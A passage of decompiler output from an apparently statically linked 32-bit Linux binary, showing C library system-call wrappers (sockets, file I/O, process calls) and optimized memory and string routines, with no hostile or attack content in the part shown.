L080569aa; } edx = & Vfffffeb9; al = 0; edi = edx; asm("cld"); ecx = -1; asm("repne scasb"); if(Ac < !ecx) { goto L080569a0; } (save)edx; L08056640(A8); eax = 0; } else { L080569a0: *L08078B14 = 22; L080569aa: eax = -1; } esp = ebp + -400; } /* Procedure: 0x080569BB - 0x080569BB * Argument size: 0 * Local size: 0 * Save regs size: 0 */ L080569BB() { } /* Procedure: 0x080569BC - 0x080569F9 * Argument size: -24 * Local size: 32 * Save regs size: 0 */ L080569BC(A8, Ac) /* unknown */ void A8; /* unknown */ void Ac; { /* unknown */ void Vffffffe0; /* unknown */ void Vfffffff0; /* unknown */ void Vfffffff4; /* unknown */ void Vfffffff8; Vfffffff0 = Ac; Vfffffff4 = 0; Vfffffff8 = -536870912; edx = -1; if(L080574C8(A8, & Vfffffff0, & Vffffffe0) != -1) { edx = Vffffffe0; } return(edx); } /* Procedure: 0x080569FA - 0x080569FB * Argument size: 0 * Local size: 0 * Save regs size: 0 */ L080569FA() { } /* Procedure: 0x080569FC - 0x08056A2B * Argument size: 12 * Local size: 0 * Save regs size: 8 */ L080569FC(A8, Ac, A10) /* unknown */ void A8; /* unknown */ void Ac; /* unknown */ void A10; { /* unknown */ void esi; eax = 114; esi = 0; asm("int 0x80"); if(eax < 0) { *L08078B14 = ~eax; eax = -1; } } /* Procedure: 0x08056A2C - 0x08056A71 * Argument size: -4 * Local size: 16 * Save regs size: 4 */ L08056A2C(A8, Ac, A10) /* unknown */ void A8; /* unknown */ void Ac; /* unknown */ void A10; { /* unknown */ void ebx; /* unknown */ void Vfffffff4; /* unknown */ void Vfffffff8; /* unknown */ void Vfffffffc; Vfffffff4 = A8; Vfffffff8 = Ac; Vfffffffc = A10; ecx = & Vfffffff4; eax = 102; ebx = 5; asm("int 0x80"); edx = eax; if(edx < 0) { *L08078B14 = ~edx; edx = -1; } return(edx); } /* Procedure: 0x08056A72 - 0x08056A73 * Argument size: 0 * Local size: 0 * Save regs size: 0 */ L08056A72() { } /* Procedure: 0x08056A74 - 0x08056AB9 * Argument size: -4 * Local size: 16 * Save regs size: 4 */ L08056A74(A8, Ac, A10) /* unknown */ void A8; /* unknown */ void Ac; /* unknown */ void A10; { /* unknown */ void ebx; /* unknown */ void Vfffffff4; /* unknown */ void Vfffffff8; /* unknown */ void Vfffffffc; Vfffffff4 = A8; Vfffffff8 = Ac; Vfffffffc = A10; ecx = & Vfffffff4; eax = 102; ebx = 2; asm("int 0x80"); edx = eax; if(edx < 0) { *L08078B14 = ~edx; edx = -1; } return(edx); } /* Procedure: 0x08056ABA - 0x08056ABB * Argument size: 0 * Local size: 0 * Save regs size: 0 */ L08056ABA() { } /* Procedure: 0x08056ABC - 0x08056B01 * Argument size: -4 * Local size: 16 * Save regs size: 4 */ L08056ABC(A8, Ac, A10) /* unknown */ void A8; /* unknown */ void Ac; /* unknown */ void A10; { /* unknown */ void ebx; /* unknown */ void Vfffffff4; /* unknown */ void Vfffffff8; /* unknown */ void Vfffffffc; Vfffffff4 = A8; Vfffffff8 = Ac; Vfffffffc = A10; ecx = & Vfffffff4; eax = 102; ebx = 3; asm("int 0x80"); edx = eax; if(edx < 0) { *L08078B14 = ~edx; edx = -1; } return(edx); } /* Procedure: 0x08056B02 - 0x08056B03 * Argument size: 0 * Local size: 0 * Save regs size: 0 */ L08056B02() { } /* Procedure: 0x08056B04 - 0x08056B43 * Argument size: -4 * Local size: 12 * Save regs size: 4 */ L08056B04(A8, Ac) /* unknown */ void A8; /* unknown */ void Ac; { /* unknown */ void ebx; /* unknown */ void Vfffffff8; /* unknown */ void Vfffffffc; Vfffffff8 = A8; Vfffffffc = Ac; ecx = & Vfffffff8; eax = 102; ebx = 4; asm("int 0x80"); edx = eax; if(edx < 0) { *L08078B14 = ~edx; edx = -1; } return(edx); } /* Procedure: 0x08056B44 - 0x08056B8F * Argument size: -4 * Local size: 20 * Save regs size: 4 */ L08056B44(A8, Ac, A10, A14) /* unknown */ void A8; /* unknown */ void Ac; /* unknown */ void A10; /* unknown */ void A14; { /* unknown */ void ebx; /* unknown */ void Vfffffff0; /* unknown */ void Vfffffff4; /* unknown */ void Vfffffff8; /* unknown */ void Vfffffffc; Vfffffffc = A14; Vfffffff0 = A8; Vfffffff4 = Ac; Vfffffff8 = A10; ecx = & Vfffffff0; eax = 102; ebx = 10; asm("int 0x80"); edx = eax; if(edx < 0) { *L08078B14 = ~edx; edx = -1; } return(edx); } /* Procedure: 0x08056B90 - 0x08056BEC * Argument size: 24 * Local size: 24 * Save regs size: 12 */ L08056B90(A8, Ac, A10, A14, A18, A1c) /* unknown */ void A8; /* unknown */ void Ac; /* unknown */ void A10; /* unknown */ void A14; /* unknown */ void A18; /* unknown */ void A1c; { /* unknown */ void ebx; /* unknown */ void esi; /* unknown */ void edi; /* unknown */ void Vffffffe8; /* unknown */ void Vffffffec; /* unknown */ void Vfffffff0; /* unknown */ void Vfffffff4; /* unknown */ void Vfffffff8; /* unknown */ void Vfffffffc; Vffffffe8 = A8; Vffffffec = Ac; Vfffffff0 = A10; Vfffffff4 = A14; Vfffffff8 = A18; Vfffffffc = A1c; ecx = & Vffffffe8; eax = 102; ebx = 12; asm("int 0x80"); edx = eax; if(edx < 0) { *L08078B14 = ~edx; edx = -1; } eax = edx; esp = ebp - 36; } /* Procedure: 0x08056BED - 0x08056BEF * Argument size: 0 * Local size: 0 * Save regs size: 0 */ L08056BED() { } /* Procedure: 0x08056BF0 - 0x08056C3B * Argument size: -4 * Local size: 20 * Save regs size: 4 */ L08056BF0(A8, Ac, A10, A14) /* unknown */ void A8; /* unknown */ void Ac; /* unknown */ void A10; /* unknown */ void A14; { /* unknown */ void ebx; /* unknown */ void Vfffffff0; /* unknown */ void Vfffffff4; /* unknown */ void Vfffffff8; /* unknown */ void Vfffffffc; Vfffffffc = A14; Vfffffff0 = A8; Vfffffff4 = Ac; Vfffffff8 = A10; ecx = & Vfffffff0; eax = 102; ebx = 9; asm("int 0x80"); edx = eax; if(edx < 0) { *L08078B14 = ~edx; edx = -1; } return(edx); } /* Procedure: 0x08056C3C - 0x08056C98 * Argument size: 24 * Local size: 24 * Save regs size: 12 */ L08056C3C(A8, Ac, A10, A14, A18, A1c) /* unknown */ void A8; /* unknown */ void Ac; /* unknown */ void A10; /* unknown */ void A14; /* unknown */ void A18; /* unknown */ void A1c; { /* unknown */ void ebx; /* unknown */ void esi; /* unknown */ void edi; /* unknown */ void Vffffffe8; /* unknown */ void Vffffffec; /* unknown */ void Vfffffff0; /* unknown */ void Vfffffff4; /* unknown */ void Vfffffff8; /* unknown */ void Vfffffffc; Vffffffe8 = A8; Vffffffec = Ac; Vfffffff0 = A10; Vfffffff4 = A14; Vfffffff8 = A18; Vfffffffc = A1c; ecx = & Vffffffe8; eax = 102; ebx = 11; asm("int 0x80"); edx = eax; if(edx < 0) { *L08078B14 = ~edx; edx = -1; } eax = edx; esp = ebp - 36; } /* Procedure: 0x08056C99 - 0x08056C9B * Argument size: 0 * Local size: 0 * Save regs size: 0 */ L08056C99() { } /* Procedure: 0x08056C9C - 0x08056CF0 * Argument size: 20 * Local size: 20 * Save regs size: 8 */ L08056C9C(A8, Ac, A10, A14, A18) /* unknown */ void A8; /* unknown */ void Ac; /* unknown */ void A10; /* unknown */ void A14; /* unknown */ void A18; { /* unknown */ void ebx; /* unknown */ void esi; /* unknown */ void Vffffffec; /* unknown */ void Vfffffff0; /* unknown */ void Vfffffff4; /* unknown */ void Vfffffff8; /* unknown */ void Vfffffffc; Vffffffec = A8; Vfffffff0 = Ac; Vfffffff4 = A10; Vfffffff8 = A14; Vfffffffc = A18; ecx = & Vffffffec; eax = 102; ebx = 14; asm("int 0x80"); edx = eax; if(edx < 0) { *L08078B14 = ~edx; edx = -1; } eax = edx; esp = ebp - 28; } /* Procedure: 0x08056CF1 - 0x08056CF3 * Argument size: 0 * Local size: 0 * Save regs size: 0 */ L08056CF1() { } /* Procedure: 0x08056CF4 - 0x08056D39 * Argument size: -4 * Local size: 16 * Save regs size: 4 */ L08056CF4(A8, Ac, A10) /* unknown */ void A8; /* unknown */ void Ac; /* unknown */ void A10; { /* unknown */ void ebx; /* unknown */ void Vfffffff4; /* unknown */ void Vfffffff8; /* unknown */ void Vfffffffc; Vfffffff4 = A8; Vfffffff8 = Ac; Vfffffffc = A10; ecx = & Vfffffff4; eax = 102; ebx = 1; asm("int 0x80"); edx = eax; if(edx < 0) { *L08078B14 = ~edx; edx = -1; } return(edx); } /* Procedure: 0x08056D3A - 0x08056D42 * Argument size: 0 * Local size: 0 * Save regs size: 0 */ L08056D3A() { } /* Procedure: 0x08056D43 - 0x08056D43 * Argument size: 0 * Local size: 0 * Save regs size: 0 */ L08056D43() { } /* Procedure: 0x08056D44 - 0x08056E13 * Argument size: 12 * Local size: 0 * Save regs size: 12 */ L08056D44(A8, Ac, A10) /* unknown */ void A8; /* unknown */ void Ac; /* unknown */ void A10; { /* unknown */ void ebx; ebx = 134641100; if(134641100 < 0x80675d0) { eax = 4; if(134641100 < 0x80675d0) { if(4 == 0) { goto L08056dc8; } if(4 > 4) { if(4 > 8) { if(4 >= 13) { goto L08056dc8; } *( *L080675CC)(A8, Ac, A10); ebx = 0x80675d0; } *( *ebx)(A8, Ac, A10); ebx = ebx + 4; } } eax = *( *ebx)(A8, Ac, A10); ebx = ebx + 4; if(ebx < 0x80675d0) { L08056dc8: do { *( *ebx)(A8, Ac, A10); *( *(ebx + 4))(A8, Ac, A10); *( *(ebx + 8))(A8, Ac, A10); eax = *( *(ebx + 12))(A8, Ac, A10); ebx = ebx + 16; } while(ebx < 0x80675d0); } } } /* Procedure: 0x08056E14 - 0x08056E61 * Argument size: 8 * Local size: 0 * Save regs size: 8 */ L08056E14(A8, Ac) /* unknown */ void A8; /* unknown */ void Ac; { L0805E954(); if(A8 < 0 || *"{" < A8) { L0804F808(Ac, "Unknown error %d", A8); eax = Ac; } else { eax = L0805E584( *L08078F9C, 1, A8 + 1, *(A8 * 4 + 0x806ae98)); } } /* Procedure: 0x08056E62 - 0x08056E63 * Argument size: 0 * Local size: 0 * Save regs size: 0 */ L08056E62() { } /* Procedure: 0x08056E64 - 0x08056E6F * Argument size: 0 * Local size: 0 * Save regs size: 0 */ L08056E64() { return(0x8078b14); } /* Procedure: 0x08056E70 - 0x08057131 * Argument size: 12 * Local size: 16 * Save regs size: 12 */ L08056E70(A8, Ac, A10) /* unknown */ void A8; /* unknown */ void Ac; /* unknown */ void A10; { /* unknown */ void ebx; /* unknown */ void esi; /* unknown */ void edi; /* unknown */ void Vfffffff0; /* unknown */ void Vfffffff4; /* unknown */ void Vfffffff8; /* unknown */ void Vfffffffc; esi = 0; Vfffffff4 = 0; ecx = A10; if(Vfffffff4 < ecx) { ebx = Ac; eax = ecx & 31; if(Vfffffff4 < ecx) { if(eax == 0) { goto L08056f44; } if(eax > 8) { if(eax > 16) { if(eax >= 25) { goto L08056f44; } eax = 8; if(ecx <= 8) { eax = A10; } eax = L08057470(A8, ebx, eax); if(eax < 0) { goto L08056ff5; } ebx = ebx + 64; esi = esi + 8; Vfffffff4 = Vfffffff4 + eax; } edx = A10 - esi; eax = 8; if(edx <= 8) { eax = edx; } eax = L08057470(A8, ebx, eax); if(eax < 0) { goto L08056ff5; } ebx = ebx + 64; esi = esi + 8; Vfffffff4 = Vfffffff4 + eax; } } edx = A10 - esi; eax = 8; if(edx <= 8) { eax = edx; } eax = L08057470(A8, ebx, eax); if(eax >= 0) { ebx = ebx + 64; esi = esi + 8; goto L0805700a; L08056f44: edx = A10 - esi; eax = 8; if(edx <= 8) { eax = edx; } eax = L08057470(A8, ebx, eax); edx = eax; if(edx >= 0) { ebx = ebx + 64; eax = esi + 8; Vfffffff4 = Vfffffff4 + edx; edx = A10 - eax; eax = 8; if(edx <= 8) { eax = edx; } eax = L08057470(A8, ebx, eax); edx = eax; if(edx >= 0) { ebx = ebx + 64; eax = esi + 16; Vfffffff4 = Vfffffff4 + edx; edx = A10 - eax; eax = 8; if(edx <= 8) { eax = edx; } eax = L08057470(A8, ebx, eax); edx = eax; if(edx >= 0) { ebx = ebx + 64; eax = esi + 24; Vfffffff4 = Vfffffff4 + edx; edx = A10 - eax; eax = 8; if(edx <= 8) { eax = edx; } eax = L08057470(A8, ebx, eax); if(eax >= 0) { goto L08057004; } } } } } L08056ff5: if(*L08078B14 == 38) { goto L08057020; } goto L08057128; L08057004: ebx = ebx + 64; esi = esi + 32; L0805700a: Vfffffff4 = Vfffffff4 + eax; if(A10 > esi) { goto L08056f44; } } eax = Vfffffff4; goto L08057128; L08057020: *L08078B14 = 0; Vfffffff4 = 0; esi = 0; ecx = A10; if(Vfffffff4 < ecx) { eax = ecx & 3; if(Vfffffff4 < ecx) { if(eax == 0) { goto L0805707c; } if(eax > 1) { if(eax > 2) { Vfffffff4 = *(Ac + Vfffffff4 * 8 + 4); esi = 1; } Vfffffff4 = Vfffffff4 + *(Ac + esi * 8 + 4); esi = esi + 1; } } Vfffffff4 = Vfffffff4 + *(Ac + esi * 8 + 4); esi = esi + 1; if(A10 > esi) { L0805707c: do { Vfffffff4 = Vfffffff4 + *(Ac + esi * 8 + 4); Vfffffff4 = Vfffffff4 + *(Ac + esi * 8 + 12); Vfffffff4 = Vfffffff4 + *(Ac + esi * 8 + 20); Vfffffff4 = Vfffffff4 + *(Ac + esi * 8 + 28); esi = esi + 4; } while(A10 > esi); } } if(Vfffffff4 == 0) { eax = 0; } else { esp = esp - (Vfffffff4 + 3 & 252); Vfffffffc = esp; Vfffffff0 = Vfffffff4; Vfffffff8 = esp; esi = 0; if(A10 > 0) { do { ebx = *(Ac + esi * 8 + 4) <= Vfffffff0 ? *(Ac + esi * 8 + 4) : Vfffffff0; edi = Vfffffff8; L0805652C(edi, *(Ac + esi * 8), ebx); Vfffffff8 = edi + ebx; if(Vfffffff0 = Vfffffff0 - ebx) { break; } esi = esi + 1; } while(A10 > esi); } eax = L080573E8(A8, Vfffffffc, Vfffffff4); } L08057128: esp = ebp - 28; } /* Procedure: 0x08057132 - 0x08057133 * Argument size: 0 * Local size: 0 * Save regs size: 0 */ L08057132() { } /* Procedure: 0x08057134 - 0x0805715C * Argument size: 4 * Local size: 0 * Save regs size: 4 */ L08057134(A8) /* unknown */ void A8; { eax = 12; asm("int 0x80"); edx = eax; if(edx < 0) { eax = L08056E64( ~edx); (restore)edx; *eax = edx; eax = -1; } } /* Procedure: 0x0805715D - 0x0805715F * Argument size: 0 * Local size: 0 * Save regs size: 0 */ L0805715D() { } /* Procedure: 0x08057160 - 0x08057188 * Argument size: 4 * Local size: 0 * Save regs size: 4 */ L08057160(A8) /* unknown */ void A8; { eax = 6; asm("int 0x80"); edx = eax; if(edx < 0) { eax = L08056E64( ~edx); (restore)edx; *eax = edx; eax = -1; } } /* Procedure: 0x08057189 - 0x0805718B * Argument size: 0 * Local size: 0 * Save regs size: 0 */ L08057189() { } /* Procedure: 0x0805718C - 0x080571B7 * Argument size: 8 * Local size: 0 * Save regs size: 4 */ L0805718C(A8, Ac) /* unknown */ void A8; /* unknown */ void Ac; { eax = 63; asm("int 0x80"); edx = eax; if(edx < 0) { eax = L08056E64( ~edx); (restore)edx; *eax = edx; eax = -1; } } /* Procedure: 0x080571B8 - 0x080571E6 * Argument size: 12 * Local size: 0 * Save regs size: 4 */ L080571B8(A8, Ac, A10) /* unknown */ void A8; /* unknown */ void Ac; /* unknown */ void A10; { eax = 11; edx = A10; asm("int 0x80"); edx = eax; if(edx < 0) { eax = L08056E64( ~edx); (restore)edx; *eax = edx; eax = -1; } } /* Procedure: 0x080571E7 - 0x080571E7 * Argument size: 0 * Local size: 0 * Save regs size: 0 */ L080571E7() { } /* Procedure: 0x080571E8 - 0x0805720B * Argument size: 0 * Local size: 0 * Save regs size: 0 */ L080571E8() { eax = 2; asm("int 0x80"); edx = eax; if(edx < 0) { eax = L08056E64( ~edx); (restore)edx; *eax = edx; eax = -1; } } /* Procedure: 0x0805720C - 0x0805722F * Argument size: 0 * Local size: 0 * Save regs size: 0 */ L0805720C() { eax = 49; asm("int 0x80"); edx = eax; if(edx < 0) { eax = L08056E64( ~edx); (restore)edx; *eax = edx; eax = -1; } } /* Procedure: 0x08057230 - 0x08057253 * Argument size: 0 * Local size: 0 * Save regs size: 0 */ L08057230() { eax = 20; asm("int 0x80"); edx = eax; if(edx < 0) { eax = L08056E64( ~edx); (restore)edx; *eax = edx; eax = -1; } } /* Procedure: 0x08057254 - 0x0805727F * Argument size: 8 * Local size: 0 * Save regs size: 4 */ L08057254(A8, Ac) /* unknown */ void A8; /* unknown */ void Ac; { eax = 78; asm("int 0x80"); edx = eax; if(edx < 0) { eax = L08056E64( ~edx); (restore)edx; *eax = edx; eax = -1; } } /* Procedure: 0x08057280 - 0x080572AE * Argument size: 12 * Local size: 0 * Save regs size: 4 */ L08057280(A8, Ac, A10) /* unknown */ void A8; /* unknown */ void Ac; /* unknown */ void A10; { eax = 54; edx = A10; asm("int 0x80"); edx = eax; if(edx < 0) { eax = L08056E64( ~edx); (restore)edx; *eax = edx; eax = -1; } } /* Procedure: 0x080572AF - 0x080572AF * Argument size: 0 * Local size: 0 * Save regs size: 0 */ L080572AF() { } /* Procedure: 0x080572B0 - 0x080572DB * Argument size: 8 * Local size: 0 * Save regs size: 4 */ L080572B0(A8, Ac) /* unknown */ void A8; /* unknown */ void Ac; { eax = 37; asm("int 0x80"); edx = eax; if(edx < 0) { eax = L08056E64( ~edx); (restore)edx; *eax = edx; eax = -1; } } /* Procedure: 0x080572DC - 0x0805730A * Argument size: 12 * Local size: 0 * Save regs size: 4 */ L080572DC(A8, Ac, A10) /* unknown */ void A8; /* unknown */ void Ac; /* unknown */ void A10; { eax = 5; edx = A10; asm("int 0x80"); edx = eax; if(edx < 0) { eax = L08056E64( ~edx); (restore)edx; *eax = edx; eax = -1; } } /* Procedure: 0x0805730B - 0x0805730B * Argument size: 0 * Local size: 0 * Save regs size: 0 */ L0805730B() { } /* Procedure: 0x0805730C - 0x0805733A * Argument size: 12 * Local size: 0 * Save regs size: 4 */ L0805730C(A8, Ac, A10) /* unknown */ void A8; /* unknown */ void Ac; /* unknown */ void A10; { eax = 3; edx = A10; asm("int 0x80"); edx = eax; if(edx < 0) { eax = L08056E64( ~edx); (restore)edx; *eax = edx; eax = -1; } } /* Procedure: 0x0805733B - 0x0805733B * Argument size: 0 * Local size: 0 * Save regs size: 0 */ L0805733B() { } /* Procedure: 0x0805733C - 0x0805735F * Argument size: 0 * Local size: 0 * Save regs size: 0 */ L0805733C() { eax = 66; asm("int 0x80"); edx = eax; if(edx < 0) { eax = L08056E64( ~edx); (restore)edx; *eax = edx; eax = -1; } } /* Procedure: 0x08057360 - 0x0805738E * Argument size: 12 * Local size: 0 * Save regs size: 4 */ L08057360(A8, Ac, A10) /* unknown */ void A8; /* unknown */ void Ac; /* unknown */ void A10; { eax = 126; edx = A10; asm("int 0x80"); edx = eax; if(edx < 0) { eax = L08056E64( ~edx); (restore)edx; *eax = edx; eax = -1; } } /* Procedure: 0x0805738F - 0x0805738F * Argument size: 0 * Local size: 0 * Save regs size: 0 */ L0805738F() { } /* Procedure: 0x08057390 - 0x080573B8 * Argument size: 4 * Local size: 0 * Save regs size: 4 */ L08057390(A8) /* unknown */ void A8; { eax = 122; asm("int 0x80"); edx = eax; if(edx < 0) { eax = L08056E64( ~edx); (restore)edx; *eax = edx; eax = -1; } } /* Procedure: 0x080573B9 - 0x080573BB * Argument size: 0 * Local size: 0 * Save regs size: 0 */ L080573B9() { } /* Procedure: 0x080573BC - 0x080573E4 * Argument size: 4 * Local size: 0 * Save regs size: 4 */ L080573BC(A8) /* unknown */ void A8; { eax = 10; asm("int 0x80"); edx = eax; if(edx < 0) { eax = L08056E64( ~edx); (restore)edx; *eax = edx; eax = -1; } } /* Procedure: 0x080573E5 - 0x080573E7 * Argument size: 0 * Local size: 0 * Save regs size: 0 */ L080573E5() { } /* Procedure: 0x080573E8 - 0x08057416 * Argument size: 12 * Local size: 0 * Save regs size: 4 */ L080573E8(A8, Ac, A10) /* unknown */ void A8; /* unknown */ void Ac; /* unknown */ void A10; { eax = 4; edx = A10; asm("int 0x80"); edx = eax; if(edx < 0) { eax = L08056E64( ~edx); (restore)edx; *eax = edx; eax = -1; } } /* Procedure: 0x08057417 - 0x08057417 * Argument size: 0 * Local size: 0 * Save regs size: 0 */ L08057417() { } /* Procedure: 0x08057418 - 0x08057440 * Argument size: 4 * Local size: 0 * Save regs size: 4 */ L08057418(A8) /* unknown */ void A8; { eax = 27; asm("int 0x80"); edx = eax; if(edx < 0) { eax = L08056E64( ~edx); (restore)edx; *eax = edx; eax = -1; } } /* Procedure: 0x08057441 - 0x08057443 * Argument size: 0 * Local size: 0 * Save regs size: 0 */ L08057441() { } /* Procedure: 0x08057444 - 0x0805746C * Argument size: 4 * Local size: 0 * Save regs size: 4 */ L08057444(A8) /* unknown */ void A8; { eax = 13; asm("int 0x80"); edx = eax; if(edx < 0) { eax = L08056E64( ~edx); (restore)edx; *eax = edx; eax = -1; } } /* Procedure: 0x0805746D - 0x0805746F * Argument size: 0 * Local size: 0 * Save regs size: 0 */ L0805746D() { } /* Procedure: 0x08057470 - 0x0805749E * Argument size: 12 * Local size: 0 * Save regs size: 4 */ L08057470(A8, Ac, A10) /* unknown */ void A8; /* unknown */ void Ac; /* unknown */ void A10; { eax = 146; edx = A10; asm("int 0x80"); edx = eax; if(edx < 0) { eax = L08056E64( ~edx); (restore)edx; *eax = edx; eax = -1; } } /* Procedure: 0x0805749F - 0x0805749F * Argument size: 0 * Local size: 0 * Save regs size: 0 */ L0805749F() { } /* Procedure: 0x080574A0 - 0x080574C4 * Argument size: 0 * Local size: 4 * Save regs size: 4 */ L080574A0(A8) /* unknown */ void A8; { /* unknown */ void ebx; eax = 82; ebx = & A8; asm("int 0x80"); if(eax < 0) { *L08078B14 = ~eax; eax = -1; } } /* Procedure: 0x080574C5 - 0x080574C7 * Argument size: 0 * Local size: 0 * Save regs size: 0 */ L080574C5() { } /* Procedure: 0x080574C8 - 0x08057518 * Argument size: 8 * Local size: 4 * Save regs size: 4 */ L080574C8(A8, Ac, A10) /* unknown */ void A8; /* unknown */ void Ac; /* unknown */ void A10; { /* unknown */ void ebx; ebx = A8; if(Ac != 0) { *(Ac + 12) = !( *(Ac + 11) & 64) ? 0x80575a8 : 0x80575b0; } eax = 67; asm("int 0x80"); ebx = eax; if(ebx < 0) { *L08078B14 = ~ebx; eax = -1; } else { eax = 0; } } /* Procedure: 0x08057519 - 0x0805751B * Argument size: 0 * Local size: 0 * Save regs size: 0 */ L08057519() { } /* Procedure: 0x0805751C - 0x08057553 * Argument size: 4 * Local size: 0 * Save regs size: 12 */ L0805751C(A8) /* unknown */ void A8; { /* unknown */ void ebx; /* unknown */ void esi; /* unknown */ void edi; eax = 72; ebx = 0; ecx = 0; edx = *A8; asm("int 0x80"); edi = eax; if(edi < 0) { *L08078B14 = ~edi; eax = -1; } else { eax = edi; } } /* Procedure: 0x08057554 - 0x08057568 * Argument size: 0 * Local size: 4 * Save regs size: 4 */ L08057554(A8) /* unknown */ void A8; { eax = 1; asm("int 0x80"); } /* Procedure: 0x08057569 - 0x0805756B * Argument size: 0 * Local size: 0 * Save regs size: 0 */ L08057569() { } /* Procedure: 0x0805756C - 0x080575A6 * Argument size: 0 * Local size: 4 * Save regs size: 0 */ L0805756C(A8) /* unknown */ void A8; { /* unknown */ void Vfffffffe; if(A8 == 0) { edx = 4991; } asm("fnstcw [ebp-0x2]"); ax = Vfffffffe & 61632; Vfffffffe = ax; ax = edx & 3903; Vfffffffe = ax | Vfffffffe; asm("fldcw [ebp-0x2]"); } stack space not deallocated on return /* Procedure: 0x080575A7 - 0x080575AF * Argument size: 0 * Local size: 0 * Save regs size: 0 */ L080575A7() { esp = esp + 4; (restore)eax; (restore)ecx; (restore)edx; asm("popf"); } stack space not deallocated on return /* Procedure: 0x080575B0 - 0x080575BF * Argument size: 0 * Local size: 0 * Save regs size: 0 */ L080575B0() { esp = esp + 4; L08065C54(); esp = esp + 4; (restore)eax; (restore)ecx; (restore)edx; asm("popf"); } /* Procedure: 0x080575C0 - 0x08057760 * Argument size: 12 * Local size: 0 * Save regs size: 8 */ L080575C0(A8, Ac, A10) /* unknown */ void A8; /* unknown */ void Ac; /* unknown */ void A10; { /* unknown */ void esi; /* unknown */ void edi; eax = A8; edx = Ac; esi = A10; if(esi >= 4) { dh = dl; edi = edx; edx = edx << 16; dx = di; if(!(al & 3)) { if(*eax == dl) { goto L08057758; } eax = eax + 1; if(esi = esi - 1) { goto L08057738; } if(!(al & 3)) { if(*eax == dl) { goto L08057758; } eax = eax + 1; if(esi = esi - 1) { goto L08057738; } if(!(al & 3)) { if(*eax == dl) { goto L08057758; } eax = eax + 1; esi = esi - 1; } } } while(esi = esi - 16) { ecx = *eax; ecx = ecx ^ edx; if((edi = -16843009 + ecx) || (edi = (edi ^ ecx | -16843009) + 1)) { goto L08057745; } ecx = *(eax + 4); ecx = ecx ^ edx; if((edi = -16843009 + ecx) || (edi = (edi ^ ecx | -16843009) + 1)) { goto L08057742; } ecx = *(eax + 8); ecx = ecx ^ edx; if((edi = -16843009 + ecx) || (edi = (edi ^ ecx | -16843009) + 1)) { goto L0805773f; } ecx = *(eax + 12); ecx = ecx ^ edx; if((edi = -16843009 + ecx) || (edi = (edi ^ ecx | -16843009) + 1)) { goto L0805773c; } eax = eax + 16; } if(esi >= -12) { ecx = *eax; ecx = ecx ^ edx; if((edi = -16843009 + ecx) || (edi = (edi ^ ecx | -16843009) + 1)) { goto L08057745; } eax = eax + 4; if(esi >= -8) { ecx = *eax; ecx = ecx ^ edx; if((edi = -16843009 + ecx) || (edi = (edi ^ ecx | -16843009) + 1)) { goto L08057745; } eax = eax + 4; if(esi >= -4) { ecx = *eax; ecx = ecx ^ edx; if((edi = -16843009 + ecx) || (edi = (edi ^ ecx | -16843009) + 1)) { goto L08057745; } eax = eax + 4; } } } } if(!(esi = esi & 3)) { if(*eax == dl) { goto L08057758; } eax = eax + 1; if(!(esi = esi - 1)) { if(*eax == dl) { goto L08057758; } eax = eax + 1; if(!(esi = esi - 1) && *eax == dl) { goto L08057758; } } } L08057738: eax = 0; goto L08057758; L0805773c: eax = eax + 4; L0805773f: eax = eax + 4; L08057742: eax = eax + 4; L08057745: if(cl != 0) { eax = eax + 1; if(ch != 0) { eax = eax + 1; if(!(ecx & 16711680)) { eax = eax + 1; } } } L08057758: } /* Procedure: 0x08057761 - 0x08057763 * Argument size: 0 * Local size: 0 * Save regs size: 0 */ L08057761() { } /* Procedure: 0x08057764 - 0x080577B2 * Argument size: 12 * Local size: 0 * Save regs size: 12 */ L08057764(A8, Ac, A10) /* unknown */ void A8; /* unknown */ void Ac; /* unknown */ void A10; { /* unknown */ void ebx; /* unknown */ void edi; ebx = A10; edi = A8; eax = Ac & 255; asm("cld"); if(ebx > 11) { eax = eax | eax << 8; eax = eax | eax << 16; edx = ~A8 & 3; ebx = ebx - edx; ecx = edx; asm("rep stosb"); ecx = ebx >> 2; asm("rep stosd"); ebx = ebx & 3; } ecx = ebx; asm("rep stosb"); return(A8); } /* Procedure: 0x080577B3 - 0x080577BF * Argument size: 0 * Local size: 0 * Save regs size: 0 */ L080577B3() { } /* Procedure: 0x080577C0 - 0x0805796D * Argument size: 4 * Local size: 4 * Save regs size: 4 */ L080577C0(A8, Ac) /* unknown */ void A8; /* unknown */ void Ac; { /* unknown */ void edi; edx = A8; ecx = Ac; if(!( *ecx & 255)) { if(!(dl & 3)) { if(*edx & 255) { goto L08057889; } edx = edx + 1; if(!(dl & 3)) { if(*edx & 255) { goto L08057889; } if(!(edx + 1 & 3)) { if(*edx & 255) { goto L08057889; } edx = edx + 1; } } } while(1) { eax = *edx; if((edi = -16843009 + eax) || (edi = (edi ^ eax | -16843009) + 1)) { goto L08057877; } eax = *(edx + 4); if((edi = -16843009 + eax) || (edi = (edi ^ eax | -16843009) + 1)) { goto L08057874; } eax = *(edx + 8); if((edi = -16843009 + eax) || (edi = (edi ^ eax | -16843009) + 1)) { goto L08057871; } eax = *(edx + 12); if((edi = -16843009 + eax) || !(edi = (edi ^ eax | -16843009) + 1)) { break; } edx = edx + 16; } edx = edx + 4; L08057871: edx = edx + 4; L08057874: edx = edx + 4; L08057877: if(al != 0) { edx = edx + 1; if(ah != 0) { edx = edx + 1; if(!(eax & 16711680)) { edx = edx + 1; } } } L08057889: edx = edx - ecx; if(cl & 3) { goto L080578d7; } al = *ecx; *(edx + ecx) = al; if(al != 0) { ecx = ecx + 1; if(cl & 3) { goto L080578d7; } al = *ecx; *(edx + ecx) = al; if(al != 0) { if(ecx + 1 & 3) { goto L080578d7; } al = *ecx; *(edx + ecx) = al; if(al != 0) { ecx = ecx + 1; L080578d7: while(1) { eax = *ecx; if((edi = -16843009 + eax) || (edi = (edi ^ eax | -16843009) + 1)) { goto L08057946; } *(edx + ecx) = eax; eax = *(ecx + 4); if((edi = -16843009 + eax) || (edi = (edi ^ eax | -16843009) + 1)) { goto L08057943; } *(edx + ecx + 4) = eax; eax = *(ecx + 8); if((edi = -16843009 + eax) || (edi = (edi ^ eax | -16843009) + 1)) { goto L08057940; } *(edx + ecx + 8) = eax; eax = *(ecx + 12); if((edi = -16843009 + eax) || !(edi = (edi ^ eax | -16843009) + 1)) { break; } *(edx + ecx + 12) = eax; ecx = ecx + 16; } ecx = ecx + 4; L08057940: ecx = ecx + 4; L08057943: ecx = ecx + 4; L08057946: *(edx + ecx) = al; if(al != 0) { *(edx + ecx + 1) = ah; if(ah != 0) { eax = eax >> 16; *(edx + ecx + 2) = al; if(*(edx + ecx + 2) != 0) { 